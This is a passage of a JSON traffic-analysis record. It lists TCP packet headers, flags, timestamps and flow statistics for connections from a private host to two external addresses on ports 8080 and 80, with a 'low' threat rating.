\"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22645, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 169, \"timestamp\": 1777473214.891854, \"timestamp_iso\": \"2026-04-29T20:03:34.891854\", \"timestamp_human\": \"2026-04-29 20:03:34.891\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22646, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 171, \"timestamp\": 1777473224.894165, \"timestamp_iso\": \"2026-04-29T20:03:44.894165\", \"timestamp_human\": \"2026-04-29 20:03:44.894\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22647, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 173, \"timestamp\": 1777473234.898374, \"timestamp_iso\": \"2026-04-29T20:03:54.898374\", \"timestamp_human\": \"2026-04-29 20:03:54.898\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22648, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 177, \"timestamp\": 1777473244.906977, \"timestamp_iso\": \"2026-04-29T20:04:04.906977\", \"timestamp_human\": \"2026-04-29 20:04:04.906\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22649, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 178, \"timestamp\": 1777473249.251587, \"timestamp_iso\": \"2026-04-29T20:04:09.251587\", \"timestamp_human\": \"2026-04-29 20:04:09.251\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 22650, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837734, \"tcp_ack\": 275940648, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 181, \"timestamp\": 1777473249.275935, \"timestamp_iso\": \"2026-04-29T20:04:09.275935\", \"timestamp_human\": \"2026-04-29 20:04:09.275\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50176, \"tcp_seq\": 1516837735, \"tcp_ack\": 275940649, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 183, \"timestamp\": 1777473249.294615, \"timestamp_iso\": \"2026-04-29T20:04:09.294615\", \"timestamp_human\": \"2026-04-29 20:04:09.294\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50180, \"tcp_seq\": 17955915, \"tcp_ack\": 1371135996, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 194, \"timestamp\": 1777473250.389085, \"timestamp_iso\": \"2026-04-29T20:04:10.389085\", \"timestamp_human\": \"2026-04-29 20:04:10.389\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 40659, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50180, \"tcp_seq\": 17955916, \"tcp_ack\": 1371136000, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 196, \"timestamp\": 1777473250.389184, \"timestamp_iso\": \"2026-04-29T20:04:10.389184\", \"timestamp_human\": \"2026-04-29 20:04:10.389\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 40660, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50180, \"tcp_seq\": 17955916, \"tcp_ack\": 1371136159, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 6, \"ACK\": 54, \"FIN\": 5}, \"packet_sizes\": [66, 54, 54, 54, 54, 54, 54, 66, 54, 54, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 54, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 54, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 54, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 54], \"inter_packet_intervals\": [0.0817408561706543, 0.00014901161193847656, 0.00013113021850585938, 9.679794311523438e-05, 9.322166442871094e-05, 0.00922393798828125, 0.02489495277404785, 3.5502870082855225, 8.988380432128906e-05, 10.07556700706482, 10.014699220657349, 10.029409885406494, 10.17580795288086, 10.01356816291809, 10.095108985900879, 5.572296857833862, 0.050718069076538086, 0.018244028091430664, 0.9228849411010742, 0.00010991096496582031, 10.008143186569214, 10.0899658203125, 10.001881122589111, 10.090606927871704, 10.011821985244751, 10.095062017440796, 3.7918410301208496, 0.05655503273010254, 0.027009010314941406, 1.2675089836120605, 0.00015592575073242188, 10.088201999664307, 10.002341985702515, 10.012675046920776, 10.003856897354126, 10.014003038406372, 10.015480995178223, 4.592151165008545, 0.02485799789428711, 0.019011974334716797, 0.6644439697265625, 9.799003601074219e-05, 10.00778603553772, 10.001976013183594, 10.009716987609863, 10.002310991287231, 10.004209041595459, 10.008602857589722, 4.344609975814819, 0.024348020553588867, 0.018680095672607422, 1.0944700241088867, 9.894371032714844e-05], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 267.0296049118042, \"avg_packet_size\": 60.666666666666664, \"packets_per_second\": 0.2022247683654229, \"bytes_per_second\": 12.26830261416899, \"min_packet_size\": 54, \"max_packet_size\": 66, \"median_packet_size\": 66, \"avg_interval\": 5.038294432298192, \"min_interval\": 8.988380432128906e-05, \"max_interval\": 10.17580795288086}, {\"source\": \"192.168.122.168\", \"target\": \"208.95.112.1\", \"packet_count\": 28, \"total_bytes\": 2021, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [50101, 50145, 50162, 50177, 50181], \"dst_ports\": [80], \"first_packet\": 1777472986.434403, \"last_packet\": 1777473250.438023, \"packets\": [{\"packet_number\": 51, \"timestamp\": 1777472986.434403, \"timestamp_iso\": \"2026-04-29T19:59:46.434403\", \"timestamp_human\": \"2026-04-29 19:59:46.434\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1757, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520094, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 53, \"timestamp\": 1777472986.434692, \"timestamp_iso\": \"2026-04-29T19:59:46.434692\", \"timestamp_human\": \"2026-04-29 19:59:46.434\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1758, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520095, \"tcp_ack\": 2612282430, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 54, \"timestamp\": 1777472986.439405, \"timestamp_iso\": \"2026-04-29T19:59:46.439405\", \"timestamp_human\": \"2026-04-29 19:59:46.439\", \"size\": 163, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1759, \"ip_len\": 149, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520095, \"tcp_ack\": 2612282430, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 57, \"timestamp\": 1777472987.011083, \"timestamp_iso\": \"2026-04-29T19:59:47.011083\", \"timestamp_human\": \"2026-04-29 19:59:47.011\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1760, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520204, \"tcp_ack\": 2612282626, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 69, \"timestamp\": 1777473021.344924, \"timestamp_iso\": \"2026-04-29T20:00:21.344924\", \"timestamp_human\": \"2026-04-29 20:00:21.344\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1761, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520204, \"tcp_ack\": 2612282627, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 83, \"timestamp\": 1777473053.63862, \"timestamp_iso\": \"2026-04-29T20:00:53.638620\", \"timestamp_human\": \"2026-04-29 20:00:53.638\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1762, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50101, \"dst_port\": 80, \"tcp_seq\": 416520204, \"tcp_ack\": 2612282627, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 85, \"timestamp\": 1777473053.640511, \"timestamp_iso\": \"2026-04-29T20:00:53.640511\", \"timestamp_human\": \"2026-04-29 20:00:53.640\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1763, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256111, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 87, \"timestamp\": 1777473053.640649, \"timestamp_iso\": \"2026-04-29T20:00:53.640649\", \"timestamp_human\": \"2026-04-29 20:00:53.640\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1764, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256112, \"tcp_ack\": 3425078173, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 88, \"timestamp\": 1777473053.641256, \"timestamp_iso\": \"2026-04-29T20:00:53.641256\", \"timestamp_human\": \"2026-04-29 20:00:53.641\", \"size\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1765, \"ip_len\": 125, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256112, \"tcp_ack\": 3425078173, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 95, \"timestamp\": 1777473054.034127, \"timestamp_iso\": \"2026-04-29T20:00:54.034127\", \"timestamp_human\": \"2026-04-29 20:00:54.034\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1766, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256197, \"tcp_ack\": 3425078368, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 107, \"timestamp\": 1777473107.033208, \"timestamp_iso\": \"2026-04-29T20:01:47.033208\", \"timestamp_human\": \"2026-04-29 20:01:47.033\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1767, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256197, \"tcp_ack\": 3425078369, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 117, \"timestamp\": 1777473118.401279, \"timestamp_iso\": \"2026-04-29T20:01:58.401279\", \"timestamp_human\": \"2026-04-29 20:01:58.401\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1768, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50145, \"dst_port\": 80, \"tcp_seq\": 1823256197, \"tcp_ack\": 3425078369, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 119, \"timestamp\": 1777473118.657902, \"timestamp_iso\": \"2026-04-29T20:01:58.657902\", \"timestamp_human\": \"2026-04-29 20:01:58.657\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1769, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682245, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 121, \"timestamp\": 1777473118.658083, \"timestamp_iso\": \"2026-04-29T20:01:58.658083\", \"timestamp_human\": \"2026-04-29 20:01:58.658\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1770, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682246, \"tcp_ack\": 527920617, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 122, \"timestamp\": 1777473118.658254, \"timestamp_iso\": \"2026-04-29T20:01:58.658254\", \"timestamp_human\": \"2026-04-29 20:01:58.658\", \"size\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1771, \"ip_len\": 125, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682246, \"tcp_ack\": 527920617, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 129, \"timestamp\": 1777473119.523634, \"timestamp_iso\": \"2026-04-29T20:01:59.523634\", \"timestamp_human\": \"2026-04-29 20:01:59.523\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1772, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682331, \"tcp_ack\": 527920813, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 139, \"timestamp\": 1777473160.343861, \"timestamp_iso\": \"2026-04-29T20:02:40.343861\", \"timestamp_human\": \"2026-04-29 20:02:40.343\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1773, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682331, \"tcp_ack\": 527920814, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 151, \"timestamp\": 1777473184.428378, \"timestamp_iso\": \"2026-04-29T20:03:04.428378\", \"timestamp_human\": \"2026-04-29 20:03:04.428\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1774, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50162, \"dst_port\": 80, \"tcp_seq\": 3346682331, \"tcp_ack\": 527920814, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 153, \"timestamp\": 1777473184.429139, \"timestamp_iso\": \"2026-04-29T20:03:04.429139\", \"timestamp_human\": \"2026-04-29 20:03:04.429\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1775, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458143, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 155, \"timestamp\": 1777473184.429258, \"timestamp_iso\": \"2026-04-29T20:03:04.429258\", \"timestamp_human\": \"2026-04-29 20:03:04.429\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1776, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458144, \"tcp_ack\": 2184589068, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 156, \"timestamp\": 1777473184.429573, \"timestamp_iso\": \"2026-04-29T20:03:04.429573\", \"timestamp_human\": \"2026-04-29 20:03:04.429\", \"size\": 139, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1777, \"ip_len\": 125, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458144, \"tcp_ack\": 2184589068, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 163, \"timestamp\": 1777473184.920066, \"timestamp_iso\": \"2026-04-29T20:03:04.920066\", \"timestamp_human\": \"2026-04-29 20:03:04.920\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1778, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458229, \"tcp_ack\": 2184589264, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 175, \"timestamp\": 1777473238.211946, \"timestamp_iso\": \"2026-04-29T20:03:58.211946\", \"timestamp_human\": \"2026-04-29 20:03:58.211\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 1779, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50177, \"dst_port\": 80, \"tcp_seq\": 3658458229, \"tcp_ack\": 2184589265, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 185, \"timestamp\": 